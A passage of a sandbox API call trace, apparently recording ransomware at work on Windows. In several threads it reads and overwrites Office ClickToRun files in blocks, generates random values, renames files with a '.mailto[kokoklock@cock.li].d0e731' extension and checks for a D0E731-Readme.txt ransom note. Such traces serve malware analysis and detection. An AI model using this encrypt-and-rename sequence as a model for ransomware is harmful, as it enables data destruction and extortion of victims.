BaseAddress=0x33fd940) returned 1 [0074.526] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18cbf7a0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18cbf7a0*=0x4096, lpOverlapped=0x0) returned 1 [0074.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.526] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x1b826, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.526] WriteFile (in: hFile=0x960, lpBuffer=0x34795e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18cbf7d8, lpOverlapped=0x0 | out: lpBuffer=0x34795e8*, lpNumberOfBytesWritten=0x18cbf7d8*=0x20, lpOverlapped=0x0) returned 1 [0074.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795e8) returned 1 [0074.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.526] WriteFile (in: hFile=0x960, lpBuffer=0x3479390*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18cbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x3479390*, lpNumberOfBytesWritten=0x18cbf7ec*=0x8, lpOverlapped=0x0) returned 1 [0074.526] WriteFile (in: hFile=0x960, lpBuffer=0x18cbf804*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18cbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x18cbf804*, lpNumberOfBytesWritten=0x18cbf7ec*=0x4, lpOverlapped=0x0) returned 1 [0074.527] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18cbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x18cbf7ec*=0x4, lpOverlapped=0x0) returned 1 [0074.527] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18cbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x18cbf7ec*=0x6c, lpOverlapped=0x0) returned 1 [0074.527] WriteFile (in: hFile=0x960, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18cbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x18cbf7ec*=0x20, lpOverlapped=0x0) returned 1 [0074.527] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18cbf7ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x18cbf7ec*=0x4, lpOverlapped=0x0) returned 1 [0074.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0074.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0074.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479390) returned 1 [0074.527] CloseHandle (hObject=0x960) returned 1 [0074.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x347d0f8 [0074.527] wcscpy (in: _Dest=0x347d0f8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" [0074.527] wcscat (in: _Dest=0x347d0f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731" [0074.527] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d0f8) returned 1 [0074.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", dwFileAttributes=0x20) returned 0 [0074.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.528] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.528] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.529] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34349c8) returned 1 [0074.529] RtlExitUserThread (Status=0x1) Thread: id = 639 os_tid = 0x8f0 [0074.532] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man")) returned 0x20 [0074.533] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", dwFileAttributes=0x20) returned 1 [0074.533] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.533] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x18d3fbf8 | out: lpFileSize=0x18d3fbf8*=638429) returned 1 [0074.533] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x9bdd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.533] ReadFile (in: hFile=0x960, lpBuffer=0x18d3fbcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x18d3fbcc*, lpNumberOfBytesRead=0x18d3fbc8*=0x4, lpOverlapped=0x0) returned 1 [0074.535] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0074.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479020 [0074.535] NtQuerySystemTime (in: CurrentTime=0x18d3fba4 | out: CurrentTime=0x18d3fba4*=132121176324252893) returned 0x0 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xe4821d4c [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xa28b6756 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x69ccc30d [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x949a7e8f [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xb920ede8 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x485ffb06 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x951ef4ac [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x7d335d6e [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x74315ad5 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xf2f81b2b [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xb9e0ab2 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xd4a7c9f4 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x57c3d3b1 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xed98f368 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x976c40ce [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xc6a595df [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x3a412af9 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xb31d1f6c [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x5fbad0d2 [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xccca83dd [0074.535] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x12ebb43c [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x209178ba [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x5f566548 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xe8ede7 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xc9361c14 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x9d2959c7 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x9e5fb785 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xcbc89e84 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x822b4a57 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xab834e80 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0xf219fba0 [0074.536] RtlRandom (in: Seed=0x18d3fbb0 | out: Seed=0x18d3fbb0) returned 0x3dd59f6a [0074.547] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.547] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18d3fb64, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18d3fb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.548] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0074.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478da0 [0074.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478da0) returned 1 [0074.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34790e8 [0074.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f58 [0074.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478f58) returned 1 [0074.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0074.549] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18d3fb64, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18d3fb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.549] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.549] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18d3fb64, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18d3fb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.551] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd868 [0074.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f58 [0074.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478f58) returned 1 [0074.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e18 [0074.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478eb8 [0074.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478eb8) returned 1 [0074.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd868) returned 1 [0074.552] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18d3fb64, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18d3fb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.552] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x97d47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.552] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18d3fb64, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18d3fb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.553] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x97d47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0074.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ee0 [0074.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ee0) returned 1 [0074.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f58 [0074.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f08 [0074.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478f08) returned 1 [0074.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0074.553] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18d3fb64, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18d3fb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x34790e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18d3fbc0, lpOverlapped=0x0 | out: lpBuffer=0x34790e8*, lpNumberOfBytesWritten=0x18d3fbc0*=0x20, lpOverlapped=0x0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x3478e18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18d3fbc0, lpOverlapped=0x0 | out: lpBuffer=0x3478e18*, lpNumberOfBytesWritten=0x18d3fbc0*=0x20, lpOverlapped=0x0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x3478f58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18d3fbc0, lpOverlapped=0x0 | out: lpBuffer=0x3478f58*, lpNumberOfBytesWritten=0x18d3fbc0*=0x20, lpOverlapped=0x0) returned 1 [0074.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x3478e90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3478e90*, lpNumberOfBytesWritten=0x18d3fbc8*=0x8, lpOverlapped=0x0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x18d3fbe0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x18d3fbe0*, lpNumberOfBytesWritten=0x18d3fbc8*=0x4, lpOverlapped=0x0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x18d3fbc8*=0x4, lpOverlapped=0x0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x18d3fbc8*=0x6c, lpOverlapped=0x0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x18d3fbc8*=0x20, lpOverlapped=0x0) returned 1 [0074.554] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x18d3fbc8*=0x4, lpOverlapped=0x0) returned 1 [0074.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0074.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0074.555] CloseHandle (hObject=0x960) returned 1 [0074.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf8) returned 0x347d0f8 [0074.555] wcscpy (in: _Dest=0x347d0f8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" [0074.555] wcscat (in: _Dest=0x347d0f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731" [0074.555] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.556] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d0f8) returned 1 [0074.556] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", dwFileAttributes=0x20) returned 0 [0074.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.556] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.556] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.556] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcad8) returned 1 [0074.557] RtlExitUserThread (Status=0x1) Thread: id = 640 os_tid = 0x470 [0074.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347f810 [0074.552] wcscpy (in: _Dest=0x347f810, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" [0074.552] wcscat (in: _Dest=0x347f810, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\" [0074.552] wcscat (in: _Dest=0x347f810, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" [0074.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342c7f0 [0074.557] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ce8 [0074.558] wcscmp (_String1=".", _String2=".") returned 0 [0074.558] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.558] wcscmp (_String1="..", _String2=".") returned 1 [0074.558] wcscmp (_String1="..", _String2="..") returned 0 [0074.558] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, 